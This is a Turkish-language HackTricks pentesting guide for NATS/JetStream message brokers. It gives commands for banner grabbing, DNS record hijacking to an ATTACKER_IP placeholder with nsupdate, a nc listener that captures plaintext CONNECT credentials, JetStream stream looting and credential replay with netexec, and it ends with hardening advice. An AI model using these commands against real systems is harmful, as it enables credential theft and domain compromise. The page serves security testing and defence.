4222 - Pentesting NATS / JetStream

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

NATS basit bir metin tabanlı protokol konuşan yüksek performanslı bir mesaj otobüsüdür: sunucu TCP connect işleminden hemen sonra bir INFO { ... } JSON banner iletir ve istemci CONNECT {"user":"USERNAME","pass":"PASSWORD",...} çerçevesiyle yanıt verir, ardından isteğe bağlı PING/PUB/SUB komutları gelir. JetStream aynı TCP portu (4222/tcp) üzerinde kalıcılık için temel yapılar (Streams & Consumers) ekler. TLS ve kimlik doğrulama isteğe bağlıdır, bu yüzden birçok iç dağıtım plaintext AUTH kullanır.

  • Varsayılan port: 4222/tcp (küme yönlendirmeleri için 4223+)
  • Varsayılan banner alanları: "version", "auth_required", "jetstream", "max_payload", "tls_required"

Keşif

nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open  nats  NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}

INFO frame manuel olarak da çekilebilir:

echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'

Daha derin etkileşim için resmi CLI’yi (Go ≥1.21) yükleyin:

go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt

Kimlik doğrulama hataları hemen nats: Authorization Violation hatasını tetikler, bu yüzden anlamlı herhangi bir RPC için geçerli kimlik bilgileri gereklidir.

Credential capture via DNS/service impersonation

  • Broker host adı için AD DNS kayıtlarındaki eski girişleri tespit edin (örn. nats-svc.domain.local). Eğer kayıt NXDOMAIN döndürüyorsa, düşük ayrıcalıklı bir domain kullanıcısı varsayılan dynamic-update ACL’leri sayesinde kaydı yeniden oluşturabilir. Arka plan için AD DNS Records abuse bölümüne bakın.
  • Ana bilgisayar adını saldırganın kontrolündeki bir IP’ye kaydedin:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
  • Meşru banner’ı bir kez mirror edin, sonra her bağlanan client’a replay edin. NATS gördüğü ilk INFO satırına güvenir, bu yüzden onu sadece bir listener üzerinden pipe etmemiz yeterli:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
  • Dahili bir istemci ele geçirilmiş adı çözer çözmez, user / pass çiftini ve çeşitli telemetri bilgilerini (istemci adı, Go sürümü, protokol seviyesi) içeren düz metin bir CONNECT çerçevesi gönderir. INFO banner’ından sonrası gerekli olmadığından, sırları toplamak için nc bile yeterlidir.
  • Daha uzun çalışmalar için resmi server’ı yerel olarak çalıştırın (git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). TRACE logları zaten kullanıcı adlarını gösterir; redaction helper’ı kaldırmak veya Wireshark ile trafiği sniff’lemek tam parolayı ortaya çıkarır.

JetStream looting & password hunting

Herhangi bir kimlik bilgisi elde edildiğinde (ör. Dev_Account_A), yeniden yazmayı önlemek için bunu bir CLI context olarak saklayın:

nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'

JetStream keşfi genellikle şu deseni izler:

nats account info --context mirage      # quotas, stream count, expiration
nats stream list --context mirage       # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage

Streaming ekipleri sıklıkla kimlik doğrulama olaylarını örneğin logs.auth gibi subject’lara kaydeder. Eğer geliştiriciler raw JSON’u bir JetStream stream’ına kalıcı olarak yazarsa, payload’lar düz metin AD kullanıcı adları ve parolalarını içerebilir:

{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}

Saklanan secrets daha sonra Kerberos-only servislere netexec smb DC01 -u USER -p PASS -k kullanılarak replay edilebilir ve tam domain compromise sağlanabilir.

Sertleştirme & Tespit

  • TLS’yi zorunlu kılın (tls, tls_required, or mTLS via nkey/creds). Şifreleme olmadan, INFO/CONNECT leaks credentials to anyone on-path.
  • DNS’i güncelleyebilecek kişileri belirleyin – servis kayıtlarını özel hesaplara devredin ve yüksek değerli host isimleri için Event IDs 257/252’yi denetleyin. Scavenging alerts ile birleştirerek eksik broker isimlerinin sessizce re-claimed edilmesini engelleyin.
  • Credential logging’i devre dışı bırakın. Subjects’e yayınlamadan önce secrets’ları scrub edin, JetStream retention/age limitlerini ayarlayın ve deny_delete=false yalnızca güvenilir operatörlere uygulayın.
  • Banner anomalilerini izleyin – tekrarlayan kısa ömürlü bağlantılar, authentication timeouts veya INFO banners’ın blessed template ile eşleşmemesi spoofed servers’ı işaret eder.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin